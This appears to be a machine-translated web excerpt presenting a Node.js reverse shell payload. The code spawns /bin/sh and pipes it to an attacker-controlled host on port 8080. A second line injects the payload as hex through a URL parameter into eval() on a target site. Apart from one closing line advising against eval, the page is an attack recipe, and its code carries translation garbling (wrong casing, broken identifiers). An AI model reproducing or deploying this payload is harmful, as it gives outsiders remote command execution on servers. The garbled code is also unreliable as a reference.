JavaScript Reverse Shell

node. JS Reverse Shell

Excerpt from: http://www.itfang.net/?p=109

The javascript below is a node. js Reverse connection shell.

This payload will generate a/bin/sh shell, create a TCP connection to the attacker's server, and bind shell commands in the traffic flow.

(function () {    var net = require ("NET"),        CP = require ("child_process"),        sh = cp.spawn ("/bin/sh", []);    var client = new Net. Socket ();    Client.connect (8080, "10.17.26.64", function () {        client.pipe (Sh.stdin);        Sh.stdout.pipe (client);        Sh.stderr.pipe (client);    });    return/a/; Prevents the node. JS application Form crashing});

In order to perform payload gracefully, we also need some tricks, we encode the payload of the reverse connection shell with 16 binary, and then decode it with node. JS's Buffer object.

Http://target.tld/?name=["./;eval (New Buffer (' PAYLOAD ', ' hex '). toString ());//*"]

We strongly recommend that developers avoid using the Eval function in JavaScript projects, and that the repair method is simple, using the RegExp object directly to manipulate the data.

JavaScript Reverse Shell